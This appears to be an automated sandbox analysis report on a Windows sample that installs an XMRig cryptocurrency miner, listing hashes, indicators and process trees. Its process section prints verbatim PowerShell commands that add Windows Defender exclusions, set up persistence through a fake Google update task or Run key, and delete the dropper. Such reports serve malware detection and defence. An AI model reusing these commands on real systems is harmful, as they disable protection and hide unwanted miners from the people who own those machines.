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Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55 UTC
240125-vfcyksbhgr 1024/01/2024, 17:15 UTC
240124-vstf4aecaj 1023/01/2024, 19:27 UTC
240123-x6cfvagbd9 1023/01/2024, 19:27 UTC
240123-x6bvbafgem 1023/01/2024, 19:27 UTC
240123-x6bjjsgbd8 1023/01/2024, 19:27 UTC
240123-x6ax1sfgek 1023/01/2024, 19:27 UTC
240123-x6abgsfgej 1023/01/2024, 19:27 UTC
240123-x591qagbd7 1023/01/2024, 19:27 UTC
240123-x59d7agbd6 1023/01/2024, 19:27 UTC
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1789s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23/01/2024, 19:27 UTC
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231129-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1696 created 3604 1696 XJEzW6M7WvHaF3EX.exe 44 PID 1696 created 3604 1696 XJEzW6M7WvHaF3EX.exe 44 PID 1696 created 3604 1696 XJEzW6M7WvHaF3EX.exe 44 PID 1696 created 3604 1696 XJEzW6M7WvHaF3EX.exe 44 PID 1564 created 3604 1564 updater.exe 44 PID 1564 created 3604 1564 updater.exe 44 PID 1564 created 3604 1564 updater.exe 44 PID 1564 created 3604 1564 updater.exe 44 PID 2472 created 3604 2472 conhost.exe 44 PID 1564 created 3604 1564 updater.exe 44 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral28/memory/4932-127-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-131-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-132-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-134-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-138-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-140-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-142-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-144-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-146-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-148-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-150-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-152-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-154-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-156-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-158-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-160-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-162-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-164-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-166-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-168-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-170-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-172-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-174-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-176-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-178-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-180-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-182-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-184-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-186-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig behavioral28/memory/4932-188-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1564 updater.exe -
resource yara_rule behavioral28/memory/4932-124-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-127-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-131-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-132-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-134-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-138-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-140-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-142-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-144-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-146-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-148-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-150-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-152-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-154-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-156-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-158-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-160-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-162-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-164-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-166-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-168-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-170-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-172-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-174-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-176-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-178-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-180-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-182-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-184-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-186-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx behavioral28/memory/4932-188-0x00007FF634CD0000-0x00007FF6354C4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1564 set thread context of 2472 1564 updater.exe 117 PID 1564 set thread context of 4932 1564 updater.exe 115 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe XJEzW6M7WvHaF3EX.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1544 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1696 XJEzW6M7WvHaF3EX.exe 1696 XJEzW6M7WvHaF3EX.exe 1248 powershell.exe 1248 powershell.exe 1696 XJEzW6M7WvHaF3EX.exe 1696 XJEzW6M7WvHaF3EX.exe 1748 powershell.exe 1748 powershell.exe 1696 XJEzW6M7WvHaF3EX.exe 1696 XJEzW6M7WvHaF3EX.exe 1696 XJEzW6M7WvHaF3EX.exe 1696 XJEzW6M7WvHaF3EX.exe 2596 powershell.exe 2596 powershell.exe 1564 updater.exe 1564 updater.exe 1980 powershell.exe 1980 powershell.exe 1564 updater.exe 1564 updater.exe 456 powershell.exe 456 powershell.exe 1564 updater.exe 1564 updater.exe 1564 updater.exe 1564 updater.exe 2472 conhost.exe 2472 conhost.exe 1564 updater.exe 1564 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 660 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1248 powershell.exe Token: SeDebugPrivilege 1748 powershell.exe Token: SeIncreaseQuotaPrivilege 1748 powershell.exe Token: SeSecurityPrivilege 1748 powershell.exe Token: SeTakeOwnershipPrivilege 1748 powershell.exe Token: SeLoadDriverPrivilege 1748 powershell.exe Token: SeSystemProfilePrivilege 1748 powershell.exe Token: SeSystemtimePrivilege 1748 powershell.exe Token: SeProfSingleProcessPrivilege 1748 powershell.exe Token: SeIncBasePriorityPrivilege 1748 powershell.exe Token: SeCreatePagefilePrivilege 1748 powershell.exe Token: SeBackupPrivilege 1748 powershell.exe Token: SeRestorePrivilege 1748 powershell.exe Token: SeShutdownPrivilege 1748 powershell.exe Token: SeDebugPrivilege 1748 powershell.exe Token: SeSystemEnvironmentPrivilege 1748 powershell.exe Token: SeRemoteShutdownPrivilege 1748 powershell.exe Token: SeUndockPrivilege 1748 powershell.exe Token: SeManageVolumePrivilege 1748 powershell.exe Token: 33 1748 powershell.exe Token: 34 1748 powershell.exe Token: 35 1748 powershell.exe Token: 36 1748 powershell.exe Token: SeIncreaseQuotaPrivilege 1748 powershell.exe Token: SeSecurityPrivilege 1748 powershell.exe Token: SeTakeOwnershipPrivilege 1748 powershell.exe Token: SeLoadDriverPrivilege 1748 powershell.exe Token: SeSystemProfilePrivilege 1748 powershell.exe Token: SeSystemtimePrivilege 1748 powershell.exe Token: SeProfSingleProcessPrivilege 1748 powershell.exe Token: SeIncBasePriorityPrivilege 1748 powershell.exe Token: SeCreatePagefilePrivilege 1748 powershell.exe Token: SeBackupPrivilege 1748 powershell.exe Token: SeRestorePrivilege 1748 powershell.exe Token: SeShutdownPrivilege 1748 powershell.exe Token: SeDebugPrivilege 1748 powershell.exe Token: SeSystemEnvironmentPrivilege 1748 powershell.exe Token: SeRemoteShutdownPrivilege 1748 powershell.exe Token: SeUndockPrivilege 1748 powershell.exe Token: SeManageVolumePrivilege 1748 powershell.exe Token: 33 1748 powershell.exe Token: 34 1748 powershell.exe Token: 35 1748 powershell.exe Token: 36 1748 powershell.exe Token: SeIncreaseQuotaPrivilege 1748 powershell.exe Token: SeSecurityPrivilege 1748 powershell.exe Token: SeTakeOwnershipPrivilege 1748 powershell.exe Token: SeLoadDriverPrivilege 1748 powershell.exe Token: SeSystemProfilePrivilege 1748 powershell.exe Token: SeSystemtimePrivilege 1748 powershell.exe Token: SeProfSingleProcessPrivilege 1748 powershell.exe Token: SeIncBasePriorityPrivilege 1748 powershell.exe Token: SeCreatePagefilePrivilege 1748 powershell.exe Token: SeBackupPrivilege 1748 powershell.exe Token: SeRestorePrivilege 1748 powershell.exe Token: SeShutdownPrivilege 1748 powershell.exe Token: SeDebugPrivilege 1748 powershell.exe Token: SeSystemEnvironmentPrivilege 1748 powershell.exe Token: SeRemoteShutdownPrivilege 1748 powershell.exe Token: SeUndockPrivilege 1748 powershell.exe Token: SeManageVolumePrivilege 1748 powershell.exe Token: 33 1748 powershell.exe Token: 34 1748 powershell.exe Token: 35 1748 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1944 wrote to memory of 4604 1944 cmd.exe 103 PID 1944 wrote to memory of 4604 1944 cmd.exe 103 PID 2596 wrote to memory of 3704 2596 powershell.exe 104 PID 2596 wrote to memory of 3704 2596 powershell.exe 104 PID 1564 wrote to memory of 2472 1564 updater.exe 117 PID 1800 wrote to memory of 1544 1800 cmd.exe 113 PID 1800 wrote to memory of 1544 1800 cmd.exe 113 PID 1564 wrote to memory of 4932 1564 updater.exe 115 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3604
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1696
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1248
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1748
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4604
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1980
